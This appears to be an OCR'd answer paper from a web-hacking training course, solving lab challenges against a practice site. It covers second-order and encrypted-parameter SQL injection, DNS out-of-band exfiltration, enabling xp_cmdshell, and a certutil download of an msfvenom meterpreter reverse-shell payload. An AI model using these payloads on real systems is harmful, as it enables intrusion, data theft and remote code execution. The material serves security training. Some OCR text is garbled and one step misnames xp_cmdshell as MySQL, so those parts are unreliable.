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Module: SQL Injection
Masterclass

Second Order SQL Injection

Challenge URL: http://topup.webhacklab.com/Account/SecurityQuestion

e Identify a Second order injection using your account.

e Exploit the injection to extract the name of the user running the service.
Solution:

Step 1: Create an account in the topup application, setup a secret question in profile, logout of the
application and navigate to the password reset functionality.

Choose the method ‘Answer Secret Questions’ and provide the account email address. Notice that

the application displays the security question set previously.

Please answer your security
question

Sample Secret Question

RESET PASSWORD
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Step 2: Notice that the application is developed in .NET with MVC framework. Hence, we can
assume that the possibility of MS-SQL Server as a backend database is more.

I GET reguest to http://topup.webhacklab.com/ I - =

| Previous | | Next || Acton |

Request | Response -]

_[Hﬂw T Headers I Hex T HTHML T Render ]
TTPS1.1 Z0O0O QK

Cache-Control: private

Content-Type: text/html; charset=utf-8
Server: Microsofc-IISFE8.5
[-AsplletMve-Version: 5.2

-Asplet-Version: 4.0.3031%
[{-Powered-By: ASP_NET

ate: Wed, 11 Apr Z018 19:37:29 GMT
Comnection: close

Content —Length: 15884

— v

[ 7 Jl < Jl + J[ = J Tyvpe & search lerm I 0 matches

Step 3: Login into the application again and inject the payload “ waitfor delay '0:0:10" --” into the
Question, as shown below:

Profile

Name

John

Mobile
222222222

Question

' waitfor delay '0:0:10' --

Password Answer
*kk

Profile Image

Browse...  No file selected.
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Step 4: Logout and visit the password reset functionality as done earlier. Input and answer and click
on “RESET PASSWORD”.

Please answer your security
gquestion

" waitfor delay '0:0:10' --

aaaaa

RESET PASSWORD

Step 5: Capture the request in Burp and let’s observe the request using Burp Repeater as we have
injected time delay payload(Generally we can check delay - response time either using Burp

Repeater or Burp Intruder). The application will respond after approximately 10 seconds.

Request

J RawT Params T Headers T Hex ]

POST /Account/SecurityQuestion HTTP/1.1
Host: topup.webhacklab.com r\
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;gq=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/Account/SecurityQuestion

Content-Type: application/x-www-form-urlencoded

Content-Length: 20

Cookie:
__RequestVerificationToken=CbRVuQWan8KelTw2nClrXB06j1lAteC6-GL-SAiBItcb9f0G5sWiCfVuwadxd8m53-ovu
pHcsu3jRLm8XKLRUL6Z1fUFXg0ZBfzxRr-AcTycl; ASP.NET_SessionId=wg0t35yrpmm3xm5gomaj3mlqg

v

Target: http://topup.webhacklab.com

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1 ;%

SecurityAnswer=aaaaa v
Type a search term 0 matches
Response

J RawT Headers T Hex T HTML T Render ]

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
X-AspNetMvec-Version: 5.2
X-AsplNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 23 Mar 2018 14:10:44 GMT
Connection: close

Content-Length: 11660

<!doctype html>
<html lang="en"> b4

Type a search term 0 matches

Done 11,927 bytes | 10,875 millis
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Step 6: The previous step confirms the presence of a second order SQL injection. Start tcpdump on

your kali VM to dump dns requests, using the following command:

root@Kali:~# sudo tcpdump -vvv -n port 53 -i any

Repeating the previous steps inject and execute the following payload to check if OOB calls can be

made using xp_dirtree:

';exec master..xp_dirtree '\\userX.webhacklab.com\' --

Note: Each time you try this, add a different, random subdomain name before the domain

“‘userX.webhacklab.com” (e.g. randomaaaaaa.userX.webhacklab.com)

Please answer your security question

"exec master.xp_dirtree “Wsert.webhacklab.com\ --
SecurityAnswer

dadaa

RESET PASSWORD

Step 7: Output of tcpdump will show that the DNS requests are being received by the host.

: # sudo tcpdump -vvv -n port 53 -i any
: listening on any, link-type LINUX SLL (Linux cooked), capture size 262144 bytes
3.001927 IP (tos Ox0, ttl 63, id 35067, offset @, flags [DF1, proto UDP (17). length 66)
2.15785 > 192.168.4.6.53: [udp sum ok] 89 A? userb6.webhacklab.com (38)
.002138 IP (tos Ox0, ttl 64, id 43584, offset O, flags [DF], proto UDP (17), length 66)

.2.15.1029 > 8.8.8.8.53: [udp sum ok] 18238+ A? user6.webhacklab.com. (38)

3.002384 (tos Ox0, ttl 64, id 27174, offset 0, flags [DF], proto UDP (17), length 66)
.0.2.15.1029 > 8.8.4.4.53: [udp sum ok] 18238+ A? user6.webhacklab.com. (38)

3 (tos Ox0, ttl 64, id 57873, offset 0, flags [DF], proto UDP (17), length 66)

29 > 1.1.1.1.53: [udp sum ok] 18238+ A? userb.webhacklab.com. (38)
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Step 8: Again run tcpdump to dump dns requests, using the following command:

root@Kali:~# sudo tcpdump -vvv -n port 53 -i any

Again repeating the previous steps inject and execute the following payload to execute database

command and get the database system username over OOB channel:

'; DECLARE @data varchar(1024); SELECT @data = (SELECT SYSTEM_USER);
EXEC('master..xp_dirtree "\\'+@data+'.userX.webhacklab.com\foo$""');

Please answer your security question

" DECLARE @data varchar(1024); SELECT @data =
(SELECT SYSTEM _USER); EXEC('master..xp_dirtree
"W+@data+'.user6.webhacklab.com\foo$"); -

RESET PASSWORD

Step 9: Tcpdump will show that the dns requests are being received by the host with the subdomain
as the response to the SQL query ‘SELECT SYSTEM_USER'.

# sudo tcpdump -vvv -n port 53 -i any
tcpdump: 115ten1nq on any, link- ype LINUX SLL (Linux cooked), capture size 262144 bytes
11:24:00.734014 IP (tos 0x0, ttl , id 61540, offset 0, f1aqs [DF], proto UDP (17), length 69)
g2 lba 200.12.60669 > lﬂJ 1 6.53: [udp sum ok] 64763+ A? sa.user6.webhacklab.com. (41)
11:2 3 s Ox0, ttl 64, id 58172, offset 0, flags [DF], proto UDP (17), length 69)
8.8.8.8.53: [udp sum ok] 504+ A? sa.userb6.webhacklab.com. (41)

11:2 : s 0x0, ttl 64, id 38539, offset O, flags [DF], proto UDP (17), length 69)
2. 5a 8.8.4.4.53: [udp sum ok] 504+ A? sa.userb6.webhacklab.com. (41)

11:2 E] s 0Ox0, tt1 b4 id )J%G4 offset 0, flags [DF], proto UDP (17), length 69)
53 1.1.1.1.53: [udp : 584+ A? sa.userb.webhacklab.com. (41)
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Step 10: Repeating the previous steps inject and execute the following payload to check if the

current user has sysadmin privilege:

'; DECLARE @data varchar(1024); SELECT @data = (SELECT
IS SRVROLEMEMBER('sysadmin')); EXEC('master..xp_dirtree
"\\'+@data+'.userX.webhacklab.com\foo$""'); --

Please answer your security question

" DECLARE @data varchar(1024); SELECT @data =
(SELECT IS_SRVROLEMEMBER(('sysadmin"));
EXEC('master.xp_dirtree
"W+@data+'.userb.webhacklab.com\foo$"); --

TR T P
oeCcurtyAnswel

daddad

RESET PASSWORD

Step 11: Tcpdump will show that the dns requests are being received by the host confirming that the

current user has sysadmin privileges.

: # sudo tcpdump -vvv -n port 53 -i any
tcpdump: listening on any, Llink-type LINUX SLL (Linux cooked), capture size 262144 bytes
11:26:02.707584 IP (tos Ox0, ttl 63, id 11448, offset 0, flags [DFI. proto UDP (17), length 68)
192.168.200.12.23192 > 192.168.4.6.53: [udp sum ok] 13821+ A? 1l.usertb.webhacklab.com. (40)
1:26:02.707772 IP (tos 0x0, ttl 64, id 64848, offset 0, flags [DF], proto UDP (17), length 68)

10.0.2.15.45640 > 8.8.8.8.53: [udp su A? 1.user6.webhacklab.com. (40)

ﬁ
1:26:02.707894 IP (tos 0x0, ttl 64, id 56297, 0, flags [DF], proto UDP (17), length 68)
|

10.0.2. L .8.4.4.53: [udp sum ok] 39593+ A? 1.user6.webhacklab.com. (40)
1:26:02.70 1 IP (tos OxB, ttl 64, id 28255, offset @, flags [DF], proto UDP (17), length 68)
10.0.2.15.45640 > 1.1.1.1.53: [udp sum ok] A? 1.userb.webhacklab.com. (40)

NotSoSecure part of Page: | 7

claranet cyber security

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 12: Repeating the same steps inject and execute the following payload to enable xp_cmdshell
(disabled by default):

';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
"Xp_cmdshell', 1;RECONFIGURE; --

Please answer your
security question

'; EXEC sp_configure 'show advanced
options’, 1;RECONFIGURE;EXEC
sp_configure 'xp_cmdshell’,
1;RECONFIGURE; --

SecurityAnswer

aaaaaa|

RESET PASSWORD

Step 13: Assuming that our last payload worked and enabled xp_cmdshell, inject the following

payload to extract the username:

';exec master..xp_cmdshell 'cmd.exe /c certutil -urlcache -split -f

http://192.168.4.X:8000/%username%' --

On your kali machine start a python web server using the following command:

root@Kali:~# python3 -m http.server

.o ~/tools
python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

w NotSoSecure part of Page: | 8
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Step 14: Execute the payload using the password reset functionality.

Please answer your security question

"exec master..xp_cmdshell 'ecmd.exe /c certutil -urlcache
-split -f http://192.168.4.6:8000/%username’%' -

SecurityAnswer

aaaal

RESET PASSWORD

Step 15: Once we execute the payload using the above step, python server should receive a
request containing the username.

® ~/tools
python3 -m http.server
Serving HTTP on ©0.0.0.0 port 8000 (http://0.0.0.0:8000/)
192.168.200.120 [11/Jul/2021 02:53:35] code 404, message File not found
192.168.200.120 11/3ul/2021 02:53:35] "GET /MSSQLSERVER HTTP/1.1" 404 -

[ ]
192.168.200.120 [11/Jul/2021 ©02:53:36] code 404, message File not found
[ ]

192.168.200.120

11/Jul/2021 02:53:36] "GET /MSSQLSERVER HTTP/1.1" 404 -

NotSoSecure part of Page: | 9
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SQLiI Through Crypto - OOB

Challenge URL: http://topup.webhacklab.com/Shop/Order

o Identify a data encryption endpoint using your registered account.
e Utilize the knowledge of encryption endpoint to confirm SQL injection using an OOB

channel.

Solution:

Step 1: Navigate to the recharge functionality of the topup application. Provide a voucher code and

Intercept the request using Burp Proxy.

Checkout

02 Back €
Vodafone Pay as you Go 10 GBP 300 GBP
Service charge 10 GBP
Voucher Discount - 62 GBP

Total 248 GBP

Apply voucher code (if any)

Apply voucher code and get up 80% discount

w NotSoSecure part of Page: | 10
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Step 2: Send the same request to Burp Repeater. Notice that the application sends a request to the

server and gets back an encrypted value of the voucher code.

| Go ||cancel |<|v|| >|v Target: http://topup.webhacklab.com | #|| 7|
Request

J Rawi Params I Headers | Hex | JWS ]

GET Iapi,’voucher?ccde:t5649523230415052F«pid:12&sig:886CD041Dm3E50765 B3973AF918DB897F48531CAF81270540C562D79E27A6EC HTTP/1.1 i

Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://ftopup.webhacklab.com/shop/checkout?id=12

Authorization: Bearer

ey]0eXAiOiKV1QIiLCJhbGciOijluzI1Ni)9.ey]1bmixdWVbmFtZSI6InNhbmpheUBub3Rzb3NIY3VyZS55jb2 0iLC)IbWFpbCleInNhbmpheUBub3Rzb3NIY3VyZS5jb20iLC)pc3
MiOiJodHRwOIi8vd2ViaGFja2xhYi5jb20vliwiZXhwljoxNTU3NDg4MjAZLCJuYmYiOjEINTYyNzg2MDZ9.Zvt0x6dab3y2zGc_jlgLSPhxHW1zmi3cyR6SUDZB838M
X-Requested-With: XMLHttpRequest

Connection: close

T < |[+]|[= Type a search term 0 matches
Response

J Raw‘[ Headers | Hex | JSON Beautifier]

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-115/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 26 Apr 2019 14:23:32 GMT
Connection: close

Content-Length: 159

T

{"code" :'In"n'koy+Ih2qu5erDJ40wbIhquWur6 L2YtiaQea?2 E:r',"active":null,"status":“INVALID",“value":D,"validity":0,"title“:nuII,"descripticn":null,"imageURL":nuI
1}

e ¥

w NotSoSecure part of Page: | 11
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Step 3: Repeat Step 1 with the value of the voucher code being the payload

waitfor delay '0:0:10' -

© & topup.webhacklab.com/shop/checkout?id=12 - O

HOME TOPUP VOUCHERS SHOP SANJAY.NSS@MAILINATOR.COM

Checkout

02 Back &

02 300 GBP
Service charge 10 GBP
Vioucher Discount NA
20

Membership Discount (%)

Total 248 GBP

Apply voucher code (if any)

Apply voucher code and get up to 80% discount

Order Notes

A

| " waitfor delay '0:0:10' PAY NOW

NotSoSecure part of Page: | 12
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Step 4: Observe the change in the encrypted value of the voucher code. (Notice that the application
is developed in .NET with MVC framework. Hence, we can assume that the possibility of SQL

Server as a backend database is more)

Go Cancel <|v >\ Target: http://topup.webhacklab.com lﬁ@
Request
Raw | Params | Headers | Hex | JWS

GET A
fapilvoucher?code4%2?+waitfor+delay+%2?0'0‘10%27+r—*pid:10&9ig=23?DEBD?20D356EE5621DD?AEFC334BBSB4FC60891C4€387EE1E983885F8 1AE3 I
HTTP/1.1
Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://ftopup.webhacklab.com/shop/checkout?id=10

Authorization: Bearer

ey)0eXAiOiJKV1QiLCJhbGciOijluzI 1Ni|9. ey) 1bmixd WVfbmFtZSI6InNhbmpheUBub3Rzb 3NIY3VyZS55jb20iLC)IbWFpbCl6InNhbmpheUBub3Rzb 3NIY3VyZS5jb20iLC)pc3
MiOiJodHRwOIi8vd2ViaGFja2xhYi5jb20vliwiZXhwljoxNTU3INDg4MjAZLCJuYmYIOJEINTYyNzg2MDZ9.Zvt0Ox6dab3y2zGe_jlgLSPhxHW1zmi3cyR6SUDZB838M
X-Requested-With: XMLHttpRequest f

Connection: close
v
? < || + || = | Type a search term 0 matches

Response

Raw | Headers T Hex T]SON Beautiﬁer]

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-1IS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 26 Apr 2019 14:25:40 GMT
Connection: close

Content-Length: 159

Jr

{"ccde“:'|6xD7pJPﬂTBxElugv,fltiGGu473thiuQHo}RD50HWA:r,"active":null," status":"INVALID","value":0,"validity":0,"title":null,"description":null,“imageURL":nul r
1} v

Step 5: Fill in the other details of the recharge page and submit the request. After completing the
payment process, the application sends a link to the registered email address. Opening that link will
show the details of the order. Notice that this link has a similar encrypted value for the parameter

“Transactionid”.

ISl ©® topup.webhacklab.com/Shop/Order?Transactionid=pDMIdIDnFaskJ%2FzKhLhviXOhOWOUfkPG4a5Y921%2FXKOG5Ybi¢ m

mT@mE HOME TOPUP VOUCHERS SHOP P = @GMAIL.COM MY ORDERS
Product Transaction Amount Order Status Order Date
O 668feb9eb2d24d72b06bce13b076i8e 248 Success 3/20/2018 10:54:54 AM
2
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Step 6: The figure shows that the application sends two consecutive requests when we access
“Order Confirmation” URL from mail as stated in the above step. Send the highlighted request

“lapi/order?Transactionid=<transaction_id>" to Burp repeater:

Intercept | HTTP history: TWebSockets histary T Options ]

Filter: Hiding CSS, image and general binary content I@
URL Params | Edited | Status |Length | MIME type
s
fapiforder?Transactionid... v | 200 280 text A
ISHopIOraer?Transactioni... 200 12246 HTML
! 200 16151 HTML

903 http:/ftopup.webhacklab.com POST ftoken v 200 765 JSON
902  http:/ftopup.webhacklab.com POST ftoken v 400 374 JSON
897  https:/fsafebrowsing.googl... POST fsafebrowsing/downloads... v 200 990 text v

< 7 >

Request l Response

Raw | Params | Headers | Hex

GET / HTTP/1.1 A
Host: topup.webhacklab.com

ser-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Firefox/52.0 [
h\ccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 v

hZcant Bnnaanaan 1 Ansmen €

M.’_ T T = Type a search term 0 matches

Step 7: Change the value of the parameter “Transactionid” to the payload generated in Step 3.
Notice that the third-party application sends a response after a delay of approximately 10 seconds

as defined in the payload.

Go Cancel <|w >|v Target: http://topup.webhacklab.com @

Request

J Raw TParams THeaders THex )

GET /api/order?Transactionid 6xD7pJPfITBxElugv/ltjGGu473thquHo/RDSOBWA=lBTTP/l.1 E
Host: topup.webhacklab.com N\
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: */%

Accept-Language: en-U0US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer:
http://topup.webhacklab.com/Shop/Order?Transactionid=6xD7pJPfITBxElugv/1tjGGud73GhgqjuQHo/R
D50BWA=

Authorization: Bearer
eyJ0eXAiO0iJRV1QiLCJIhbGciOiJIUZIINiJ9.eyJlbmlxdWVEbmFtZSI6InN1ZGhhbnlodWNoYXVoYWAwMDA3QGALY
WlsLmivbSIsImVtYWlsIjoic3VkaGFuc2hlY2hhdWhhbjAwMDdAZ2lhaWwuY29tIiwiaXNzIjoiaHRO0cDovL3d1lYmh
hY2tsYWIuY29tLyIsImV4cCI6MTUYMIc30DA2MywibmImIjoxNTIXNTY4NDYZfQ.ealTT6emTdRKS4eJ0mxoaFlz-47
8HZzZN7QuJITpkZriJ8

X-Requested-With: XMLHttpRequest

Cookie:
__RequestVerificationToken=H9DLMBI6DKuCqxugqghMGU1XuLKL3LEfRGOYIbRtTCngaz8tyY-vEfCcJ6_ftHCUT2r ¥

< Type a search term 0 matches

Response

I Raw | Headers | Hex

HTTP/1.1 200 OK i
Cache-Control: no-cache n\

Pragma: no-cache

Content-Type: application/json; charset=utf-8

Expires: -1

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 20 Mar 2018 18:02:00 GMT

Connection: close

Content-Length: 4 :{

null v

2 ) < + > Type a search term 0 matches
Ready 280 bytes | 10,535 millis I

Note: Repeating these steps with different sleep time value can confirm the presence of SQL

injection in the payment gateway.
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Step 8: Continuing with the last step, let’s exploit this further to retrieve the data using an out-of-
band(OOB) channel - DNS. We already identified the application is developed in .NET with MVC
framework, backend database is SQL Server. So, operating system could be Windows. Start a DNS

listener on your kali VM using the following command:

root@Kali:~# tcpdump -n udp port 53 -i any

:~# tcpdump -n udp port 53 -i any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX SLL (Linux cooked vl), capture size 262144 bytes

Step 9: As xp_cmdshell was enabled in earlier exercise we can use it. We can enable it using the

following command:

';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
"Xp_cmdshell', 1;RECONFIGURE; --

Enter the payload

';exec master..xp_cmdshell 'cmd.exe /c nslookup userX.webhacklab.com' -

in the parameter ‘code’ and submit the request, the response will have the encrypted form of the
payload.

Go ancel Target: http://topup.webhacklab.com | # || 7 |
Request
Raw | Params | Headers | Hex JWS]
GET ]

!apifvoucher?(odeﬂ%z 7;exec+master..xp cmdshell+%27cmd.exe+/c+nslookup+userX.webhacklab.com%2 t‘+~Lp\d=lO&sig= TEOFAAG8B8B6EIATIC2561C0CS w
AFBOOF32E6123D5F470439F8B242FAF3BBF4DD4 HTTR/1.1

Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/shop/checkout?id=10

Authorization: Bearer
ey]0eXAIOiKV1QILChbGciOijluzI1Nij9.ey]1bmIxdWVbmFtZSI6inNhbmpheUBub3Rzb3NIY3VyZ55jb20iLCJIbWFpbCl6InNhbmpheUBub3Rzb3NIY3VyZS5]b2 0iLClpc3
MiOijodHRwOIiBvd2ViaGFja2xhYi5jb2 0viiwiZXhwljoxNTU3NDg4MjA2LCJuYmYiOJELNTYyNzg2MDZ9.Zvt0x6dab3y2zGe_jlgLSPhxHW1zmilcyR6SUDZB38M
X-Requested-With: XMLHttpReguest

Connection: close J

-

v

? < ||+ || = | Type asearch term 0 matches
Response

Raw | Headers ] Hex [JSON Beautifier]
HTTP/1.1 200 OK

4

Cache-Control: no-cache I

Pragma: no-cache

Content-Type: application/json; charset=utf-8

Expires: -1

Server: Microsoft-115/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 26 Apr 2019 14:26:38 GMT

Connection: close

Content-Length: 223

{":ode":'qu LSfwEgJ10+6nCeBfybAjGY+3qtQ+ TvEBIZklzw7d RteqUFpSNFgmdbsa}HZprPyrBzquVquEXsoLIKl7chCﬂ<ZPpAEye3flbew:]‘,"active“:null,”status

" "INVALID™, ™Value 0, vahdity -0, tile null,"description null, fmageURL - nuM} L
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Step 10: When we submit this encrypted payload through the “Transactionid” parameter, the inbuilt
MySQL function “xp_cmdshell” would trigger the command “cmd.exe /c nslookup

userX.webhacklab.com” on the host and send a request to resolve google.com to our host.

Request
_[ Raw T Params T Headers | Hex | |WS
GET

/fapiforder?Transactionid=FgLSfwEg]10+6nCeBfybA]jGY+3gtQ+TvEBI2klzw7dRteqUFpSNFgmdbsalI+2pKQ9suLJSFyviNE+2vuliswl7xRcCTkZPpA
Eye3f/ybNw= HTTP/1.1

Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: #*/%

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer:
http://topup.webhacklab.com/Shop/Order?Transactionid=1jet09uYFwGYVKh7TMMwL2fqlhmGbj7cok0iKrzxriGIG5Yblclrg%2Bi9mLYmkHmth

All‘)‘hr\r“}?afir\r\' Rearear ' ‘
‘_‘J [Ll w l;,l H \ 0 rnatc
Response

Raw | Headers | Hex

Connection: close
Content-Length: 4

null

Step 11: We will receive requests to resolve “userX.webhacklab.com” on our host confirming that

our payload executed successfully on the host.

: # sudo /usr/sbin/tcpdump -vvv -s @ -1 -n port 53 -1 any

tcpdump: listening on any, link-type LINUX SLL (Linux cooked), capture size 262144 bytes

05:41:27.235625 IP (tos Ox0, ttl 63, id 51749, offset @, flags [DF], proto UDP (17), length 66)
192.168.200.12.36032 > 192.168.4.6.53: [udp sum ok] 25821+ A? user6.webhacklab.com. (38)

5:41:27.235833 IP (tos Ox0, ttl 64, id 41205, offset 0, flags [DF], proto UDP (17), length 66)

10.0. .2809 > 8.8.8.8.53: [udp sum ok] 3923+ A? user6.webhacklab.com. (38)
5:41:27. 45 TP (tos 0x@, ttl 64, id 39161, offset 0, flags [DF], proto UDP (17), length 66)
10.0.2.15.2809 > 8.8.4.4.53: [udp sum ok] 3923+ A? user6.webhacklab.com. (38)
05:41:27.236045 IP (tos Ox0, ttl 64, id 6123, set 0, flags [DF], proto UDP (17), length 66)
10.0.2.15.2809 > 1.1.1.1.53: [udp sum ok] 3923+ A? user6.webhacklab.com. (38)

NS IS S IS
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SQL Injection to Reverse Shell

Challenge URL: http://topup.webhacklab.com/api/voucher

e Continue with previous exercise to obtain a reverse shell on the DB host using

Metasploit and native Windows tools (powershell, certutil, cscript etc.).
Solution:

Step 1: Continuing with the last exercise, let’s exploit this further to get a reverse shell using
Inferential/blind SQL Injection. We already identified the application is developed in .NET with MVC
framework, backend database is SQL Server and operating system is Windows. Generate a payload

using msfvenom using the following command:

root@kali:~/tools# msfvenom -p windows/x64/meterpreter_reverse_http

LHOST=192.168.4.X LPORT=<PORT> -f exe > userX.exe

root@kali:~# msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.4.10 LPORT=443 -f exe > userlO.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 202329 bytes
Final size of exe file: 208896 bytes
root@kali:~# I

Step 2: Host the generated payload using python web server on the attacker box:

root@kali:~# python3 -m http.server

- ~/tools
python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

NotSoSecure part of Page: | 17
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Step 3: Navigate to the topup functionality of the application, and as shown in earlier exercise inject

the following payload into the parameter code and send the request:

';exec master..xp_cmdshell 'cmd.exe /c certutil -urlcache -split -f

http://192.168.4.X:8000/userX.exe c:\windows\temp\userX.exe' --

c & ® topup.webhacklab.com/shop/checkout?i . I |
secure @ Shop Webhacklab | Topup Webhacklab @Microblog @1 | Send | Cancel < v > v Target: http://topup.webhacklab.com ®
NoT D secuRe HoME  ToPup Request Response
UneCKO u-:[ Raw | Params | Headers | Hex | |WS Raw | Headers | Hex | JSON Beautifier
1[GET /api/voucher?code= % 1 HTTP/1.1 200 OK 4
%27 ; exec%20master. . xp_cmdshel1%20%27cmd . exe%20/c%20c 2 Cache-Control: no-cache
ertutil%20-urlcache%20-split%20-f%20http://192.168.4 3 Pragma: no-cache
‘ Vodafone .10:8000/userl0.exe%20c: \windows\temp\userl0. exe%27% 4 Content-Type: application/json; charset=utf-8
b f/ 20--&pid=10&sig= 5 Expires: -1
RS 762BAD79D14DAE7C664CAD51ESC87DA891C7214808C5B95627A2 6 Server: Microsoft-IIS/8.5
0AA9337A0304 HTTP/1.1 7 X-AspNet-Version: 4.0.30319
Vodafone 2 Host: topup.webhacklab.com 8 X-Powered-By: ASP.NET
Service charge 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 9 Date: Wed, 22 Jul 2020 12:18:38 GNT
‘&Z‘:ﬁgg[sﬁ""fgfgum ) Gecko/20100101 Firefox/60.0 10 Connection: close
4 Accept: */* 11 Content-Length: 307
TOtal 5 Accept-Language: en-US,en;g=0.5 12
6 Accept-Encoding: gzip, deflate 13 {"code":
7 Referer: "FoLSTwEg]10+6nCeBfybAjGY+3qtQ+TvEBI2klzw7dRqqsA+Xy
. http: //topup.webhacklab.com/shop/checkout?id=10 WABJHVR7KrQYtShBF /mzxycAaBH388Zfh8K1jiiDZtX41a5adDI
Apply voucher code (if any g authorization: Bearer /5G25] 40kFB7LAU/88TkqZ1iuhJHr7Bj AzZRA4zBZ Ts2xsFv/TU2
Apply voucher code and get up to 80% eyJ0eXAi0iJKV1QiLCIhbGci0iJIUZzIINiI9. ey] lbmlxdwVFbmF 0x+FvGbbV4tDDh/NpgVPXWEAdMTgHUFh5QYN6om" , "active":
tZSI6ImRocnV2Lm5zcOBtYWlsaW5hdG9yLmNvbSIsImVtYWlsIjo null, "status": "INVALID", "value":0, "validity":0,
iZGhydXYubnNzQGlhaWxpbmFOb3IuY29tIiwiaXNzIjoiaHROcDo "title":null, "description":null, "imageURL":null
‘;exec master..xp_¢ vL3d1YmhhY2tsYWIuY29tLy Is ImV4cCI6MTUSN] YyOTc 1Miwibm]
mIjoxNTkINDIWMTUY Q. Mwot3uKbSkIWIan0JwD1GIGx3b590IW8
9 X-Requested-With: XMLHttpRequest
10 Cookie: __RequestVerificationToken=
tyZcAWHz rg9mmdQ - 0kdmf tq-6hbvmF1ZulUswzThKpum-d2htHX5 |3 v
. . @{é} [:“ij Search... 0 matches M Pretty ®{§}&“ij Search... 0 matches M Pretty
' Donhe 585 bytes | 155 millis

Step 4: As we did in previous exercises, use the encrypted payload and inject in the “Transactionid”

parameter of the order request to execute the payload.

Send Cancel || < ¥ > | Target: http:h’topup.webhacklab.con‘4 f@
Request Response
J Raw T Params T Headers T Hex | JWS J Raw T Headers I Hex T Render }
I GET /api/order?Transactionid= % 1 HTTP/1.1 200 0K 2
FqLSTwEgQJ10+6nCeBfybAjGY+3qtQ+TvEBI2Zklzw7dRqsA+XywA 2 Cache-Control: no-cache
BIHVR7KrQY+tShBF /mzxycAaBH388Zfh8K1jiiDZtX41a5adDI/56G 3 Pragma: no-cache
25j40kFB7LAU/88IkqZ1iuh]JHr7Bj AzRA4zBZTs2xsFv/TU20x+F 4 Content-Type: application/json; charset=utf-8
vGbbV4+tDDh/NpgVPXWEAdMTggHUFh5QYNGom HTTP/1.1 5 Expires: -1
2 Host: topup.webhacklab.com 6 Server: Microsoft-IIS/8.5
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 7 X-AspNet-Version: 4.0.30319
Gecko/20100101 Firefox/60.0 8 X-Powered-By: ASP.NET
4 Accept: */* 9 Date: Wed, 22 Jul 2020 12:22:34 GMT
5 Accept-Language: en-US,en;q=0.5 10 Connection: close
6 Accept-Encoding: gzip, deflate 11 Content-Length: 4
7 Referer: 12

http: //topup.webhacklab.com/Shop/Order?Transactionid 13
=a1kN2BgKXFKHiDfRZQKECSFgugh50083%2F 3hgunj0dw4G5Yblc
1rq%2Bi9mL YmkHmth
Authorization: Bearer
eyJ0eXAi0iJKV1QiLCIhbGeci0iJIUzI1NiI9. eyI1bmlxdwVfbmF
tZSI6ImRocnV2Lm5zcOBtYWlsaW5hdG9yLmNvhSIsImVtYWlsIjo
1ZGhydX YubnNzQGlhawWxpbmFOb3IuY29tIiwiaXNzIjoiaHROcDo
vL3d1YmhhY2tsYWIuY29tLyIsImV4cCIGMTUSN] Yy0Tec 1Miwibm]
mIjoxNTkINDIWMTUyfQ. Mwot3ukKbSkIWIan0IwD1GIGx3b590IW8
p5jU_naxdGY
9 X-Requested-With: XMLHttpRequest

10 Cookie: _ RequestVerificationToken=

tyZcAWHzrg9mmdQ - Okdmf tq- 6hbvmF1ZulUswz ThKpum- d2htHX5 &

®{§}EJEJ Search... 0 matches | \n | Pretty ®{§}EJEJ Search... 0 matches @ Pretty

Done 280 bytes | 3,517 millis

a1
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Step 5: The python server should receive a request from the victim host, as shown below:

root@® kali)-|~/tools
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

192.168.200.120 - - [11/Jul/2021 0©2:59:19] "GET /userl@.exe HTTP/1.1"
